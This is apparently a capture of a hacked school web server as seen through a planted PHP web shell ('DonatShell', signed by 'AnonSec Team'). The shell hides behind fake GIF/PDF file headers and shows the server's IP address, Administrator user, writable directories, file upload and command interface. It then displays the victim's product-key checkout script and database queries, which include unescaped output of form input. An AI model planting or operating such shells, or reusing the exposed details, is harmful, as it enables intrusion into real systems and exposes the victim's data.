GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/Software/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/Software/ProductKeyOptions.phpinc
<?php  
 // ******************************************************************************************** 
 //  11/2009  Sandy Sund
 //  Script is part of the Product Key program to give students the ability to checkout there own product key
 //  values are passed from ProductKey.phpinc screen to know what to Display to user (checkout key, reports) 
 //  ProductKeyOptions.phpinc is called from ProductKeyOptions.php
 // ********************************************************************************************
require_once('../Connections/products.php'); 
mysql_select_db($database_products, $products);
 
 // get form values
$option = $_POST["f_option"];
$userID = $_POST["f_userID"];
// set up sql for reports
$where_order =  set_sql_statement($option);
	 
	 
debugTrackBegin();
if (dc()) { echo basename(__FILE__)," line ",__LINE__,": ","<b>".__FILE__."</b><br>\n"; }
$headTitle = '_CST_ - Assigned Product Keys';
$pageTitle = '<br>Product Keys';
include('common/pageHeader.phpinc');
$sectionTitle ="Product Key";
include('common/sectionHeader.phpinc');

 
  

if (!function_exists("GetSQLValueString")) {
function GetSQLValueString($theValue, $theType, $theDefinedValue = "", $theNotDefinedValue = "") 
{
  $theValue = get_magic_quotes_gpc() ? stripslashes($theValue) : $theValue;

  $theValue = function_exists("mysql_real_escape_string") ? mysql_real_escape_string($theValue) : mysql_escape_string($theValue);

  switch ($theType) {
    case "text":
      $theValue = ($theValue != "") ? "'" . $theValue . "'" : "NULL";
      break;    
    case "long":
    case "int":
      $theValue = ($theValue != "") ? intval($theValue) : "NULL";
      break;
    case "double":
      $theValue = ($theValue != "") ? "'" . doubleval($theValue) . "'" : "NULL";
      break;
    case "date":
      $theValue = ($theValue != "") ? "'" . $theValue . "'" : "NULL";
      break;
    case "defined":
      $theValue = ($theValue != "") ? $theDefinedValue : $theNotDefinedValue;
      break;
  }
  return $theValue;
}
}

$currentPage = $_SERVER["PHP_SELF"];

// Build Recordset to Show Reports On
	$maxRows_Recordset_Reports = 1000;
	$pageNum_Recordset_Reports = 0;
	if (isset($_GET['pageNum_Recordset_Reports'])) {  $pageNum_Recordset_Reports = $_GET['pageNum_Recordset_Reports']; }
	$startRow_Recordset_Reports = $pageNum_Recordset_Reports * $maxRows_Recordset_Reports;
	
 	$query_Recordset_Reports = "	
	 	 $where_order    ";
	$query_limit_Recordset_Reports = sprintf("%s LIMIT %d, %d", $query_Recordset_Reports, $startRow_Recordset_Reports,    $maxRows_Recordset_Reports);
	$Recordset_Reports = mysql_query($query_limit_Recordset_Reports, $products) or die(mysql_error());
	$row_Recordset_Reports = mysqli_fetch_assoc($Recordset_Reports);

	if (isset($_GET['totalRows_Recordset_Reports']))
	 {  $totalRows_Recordset_Reports = $_GET['totalRows_Recordset_Reports'];   } 
	 else 
	 {
	  $all_Recordset_Reports = mysql_query($query_Recordset_Reports);
	  $totalRows_Recordset_Reports = mysql_num_rows($all_Recordset_Reports);
	 }
	$totalPages_Recordset_Reports = ceil($totalRows_Recordset_Reports/$maxRows_Recordset_Reports)-1;
	
	$queryString_Recordset_Reports = "";
	if (!empty($_SERVER['QUERY_STRING'])) 
	{
	  $params = explode("&", $_SERVER['QUERY_STRING']);
	  $newParams = array();
	  foreach ($params as $param) 
	   {
		if (stristr($param, "pageNum_Recordset_Reports") == false &&  stristr($param, "totalRows_Recordset_Reports") == false) 
		 {     array_push($newParams, $param);     }
	   }
		if (count($newParams) != 0) { $queryString_Recordset_Reports = "&" . htmlentities(implode("&", $newParams));   }
	}
$queryString_Recordset_Reports = sprintf("&totalRows_Recordset_Reports=%d%s", $totalRows_Recordset_Reports, $queryString_Recordset_Reports);
 
 // get a recordset of all product descriptions that are available for user to checkout
$maxRows_Recordset_Available = 100;
$pageNum_Recordset_Available = 0;
if (isset($_GET['pageNum_Recordset_Available'])) 
   {   $pageNum_Recordset_Available = $_GET['pageNum_Recordset_Available']; }
$startRow_Recordset_Available = $pageNum_Recordset_Available * $maxRows_Recordset_Available;
	$maxRows_Recordset_Available = 100;
	$pageNum_Recordset_Available = 0;
	if (isset($_GET['pageNum_Recordset_Available']))    {  $pageNum_Recordset_Available = $_GET['pageNum_Recordset_Available']; }
	$startRow_Recordset_Available = $pageNum_Recordset_Available * $maxRows_Recordset_Available;
	
	$query_Recordset_Available = "
	 SELECT distinct(product.productDescription ) 
	 FROM product 	 JOIN productkey on product.productID = productkey.productID  
	 WHERE productkey.productkeyAvailable = 'Y' ";
	$query_limit_Recordset_Available = sprintf("%s LIMIT %d, %d", $query_Recordset_Available, $startRow_Recordset_Available, $maxRows_Recordset_Available);
	$Recordset_Available = mysql_query($query_limit_Recordset_Available, $products) or die(mysql_error());
	$row_Recordset_Available = mysqli_fetch_assoc($Recordset_Available);
	
	if (isset($_GET['totalRows_Recordset_Available'])) 
	 {  $totalRows_Recordset_Available = $_GET['totalRows_Recordset_Available'];  } 
	else 
	 {
		$all_Recordset_Available = mysql_query($query_Recordset_Available);
		$totalRows_Recordset_Available = mysql_num_rows($all_Recordset_Available);
	  }
	$totalPages_Recordset_Available = ceil($totalRows_Recordset_Available/$maxRows_Recordset_Available)-1;
 
?>
<fieldset>
<div align="center">
  <legend><span class="classDate"><?php echo $option ?> </span></legend></div>
   
 <?php  
 switch ($option) {
    case 'Report_On_Checked_Out_Keys': 
	       $location_data = report_productlocation_keys($Recordset_Reports);
     	   break;  
	 case 'Report_On_Checked_In_Keys': 
	       $location_data = report_productlocation_keys($Recordset_Reports);
     	   break;    
     case 'Report_On_All_Keys': 
	       $location_data = report_product_keys($Recordset_Reports);
     	   break;   
// build Screen to checkout product key
  case 'Checkout': 
   ?>
   <div align='center'><p class='normal'> Here you  choose a product key  and it will be emailed to you (  <?php echo $userID ?>) <br>   <form name='checkout' method='post' action='ProcessData.php?option=<?php echo $option ?> '  >
    <table border='1' cellpadding='1' cellspacing='1'> 
     <?php     $color='#FEFDE9'; $color= rotate_colors($color);  $color= rotate_colors($color);     ?> 
      <tr  bgcolor = <?php echo $color ?> >
       <td class='normal'>
         <select name='f_productDescription' id='productDescription' >  
           <?php do {   ?>  
          <option value='<?php echo $row_Recordset_Available['productDescription']; ?>' > 
	                   <?php echo $row_Recordset_Available['productDescription']; // Create drop list of available product keys  ?> 
          </option>
         <?php } while ($row_Recordset_Available = mysqli_fetch_assoc($Recordset_Available)); ?>
       </select>
      </td>   </tr>    </table>
      <input type='hidden' name='f_option' id='option'  value='Checkout'/>
      <input type='hidden' name='f_userID' id='userID'  value=<?php echo $userID; ?> />
      <input type='submit' name='button' id='button' value='Submit' />
    </form>  </p></div>  <?php  
  break;
  default:  echo "Something wrong hit the default in ProductKeyOptions.phpinc <br>OPTION = $option <br>";
}

?>
   <div align="center">  <br>  <br><br><a href='index.php' >Back to Main</a> <br>
    Under Construction <br><img src="images/Computerhacker.gif" /> </div>
 </fieldset> 

<?
include('common/sectionFooter.phpinc');
include('common/pageFooter.phpinc');
 // ********************************************************************************************
// ** Create report on product keys based on recordset that was created from the form f_option (records in product location table)
// ******************************************************************************************** 
 function report_productlocation_keys($Recordset)
{
?>
<table border="1" cellpadding="1" cellspacing="1" width="95%" align="center">

  <tr>
    
    <td class="bold"><div align="center">Student ID</div> </td>
    <td class="bold"><div align="center">Description</div></td>
     <td class="bold"><div align="center">Product Key</div></td>
    <td class="bold"><div align="center">MultiUse <br>Key</div></td>
    <td class="bold"><div align="center">Available <br>Key</div></td>
     <td class="bold"><div align="center">Checked <br>Out</div></td>
      <td class="bold"><div align="center">Checked <br>In</div></td>
  </tr>
  <?php 
   $row_Recordset = mysqli_fetch_assoc($Recordset);
   do { ?>
    <tr>
      <td class="normal" align="center"><div align="center"> <?php echo $row_Recordset['userStudentID']; ?></div></td>
      <td class="normal" align="center"><div align="center"> <?php echo $row_Recordset['productDescription']; ?></div></td>
      <td class="normal" align="center"><div align="center"> <?php echo $row_Recordset['productkeyNumber']; ?></div></td>
      <td class="normal" align="center"><div align="center"> <?php echo $row_Recordset['productkeyMultiUse']; ?></div></td>
      <td class="normal" align="center"><div align="center"> <?php echo $row_Recordset['productkeyAvailable']; ?></div></td>
      <td class="normal" align="center"><div align="center"> <?php echo $row_Recordset['productlocationDateOut']; ?></div></td>
      <td class="normal" align="center"><div align="center"> <?php echo $row_Recordset['productlocationDateIn']; ?></div></td>
   </tr>
   <?php } while ($row_Recordset = mysqli_fetch_assoc($Recordset)); ?>
</table>	 
<p>
  <?	
}
// ********************************************************************************************
// ** Create report on product keys based on recordset that was created from the form f_option  
// ******************************************************************************************** 
 function report_product_keys($Recordset2)
{
?>
<table border="1" cellpadding="1" cellspacing="1" width="95%" align="center">

  <tr>
    
      <td class="bold"><div align="center">Description</div></td>
     <td class="bold"><div align="center">Product Key</div></td>
    <td class="bold"><div align="center">MultiUse <br>Key</div></td>
    <td class="bold"><div align="center">Available <br>Key</div></td>
   </tr>
  <?php 
   $row_Recordset2 = mysqli_fetch_assoc($Recordset2);
   do { ?>
    <tr>
       <td class="normal" align="center"><div align="center"> <?php echo $row_Recordset2['productDescription']; ?></div></td>
      <td class="normal" align="center"><div align="center"> <?php echo $row_Recordset2['productkeyNumber']; ?></div></td>
      <td class="normal" align="center"><div align="center"> <?php echo $row_Recordset2['productkeyMultiUse']; ?></div></td>
      <td class="normal" align="center"><div align="center"> <?php echo $row_Recordset2['productkeyAvailable']; ?></div></td>
     </tr>
   <?php } while ($row_Recordset2 = mysqli_fetch_assoc($Recordset2)); ?>
</table>	 
<p>
  <?	
}
// ********************************************************************************************
// ** Rotate colors for table rows
// ******************************************************************************************** 
 function rotate_colors($color)
{
	if($color=='#FEFDE9' ) $color='#EDEDED';
	else $color='#FEFDE9';
	return $color;
}
 
function set_sql_statement($option)
{
	// default
	 $where_order ="
	   SELECT productkey.productkeyNumber, productkey.productkeyMultiUse, productkey.productkeyAvailable, productkey.productID, product.productDescription,productlocation.userStudentID,productlocation.productlocationDateOut ,productlocation.productlocationDateIn  	FROM productlocation 
	INNER JOIN productkey on productlocation.productkeyID = productkey.productkeyID 
	INNER JOIN product   on product.productID = productkey.productID  

	   WHERE productkey.productkeyAvailable='N' or productkey.productkeyMultiUse='Y'  
	   ORDER By productlocation.userStudentID,product.productDescription";
	// set vaiues for building recordset for reports (where there is a record in the procuctlocation table)
	// change later on what reports are really needed
 if ($option == "Report_On_Checked_Out_Keys")  { 
     $where_order ="
	   SELECT productkey.productkeyNumber, productkey.productkeyMultiUse, productkey.productkeyAvailable, productkey.productID, product.productDescription,productlocation.userStudentID,productlocation.productlocationDateOut ,productlocation.productlocationDateIn      FROM productlocation 
	  INNER JOIN productkey on productlocation.productkeyID = productkey.productkeyID 
	  INNER JOIN product   on product.productID = productkey.productID  
      WHERE productkey.productkeyAvailable='N' or productkey.productkeyMultiUse='Y'  
	  ORDER By productlocation.userStudentID,product.productDescription";
  }
	 
 if ($option == "Report_On_Checked_In_Keys")  { 
     $where_order ="
	   SELECT productkey.productkeyNumber, productkey.productkeyMultiUse, productkey.productkeyAvailable, productkey.productID, product.productDescription,productlocation.userStudentID,productlocation.productlocationDateOut ,productlocation.productlocationDateIn  	   FROM productlocation 
	   INNER JOIN productkey on productlocation.productkeyID = productkey.productkeyID 
	   INNER JOIN product   on product.productID = productkey.productID  
	   WHERE productkey.productkeyAvailable='Y'   and productlocation.productlocationDateIn is not null  
	   ORDER By product.productDescription";
}

 if ($option == "Report_On_All_Keys")  { 
     $where_order =" 
	   SELECT * FROM productkey
	   INNER JOIN product   on product.productID = productkey.productID  
 	   ORDER By productkey.productkeyAvailable='Y' desc,product.productDescription";
   }
  
  return $where_order;

}


// end   
?>
</p>
<p>&nbsp;</p>

Anon7 - 2022
AnonSec Team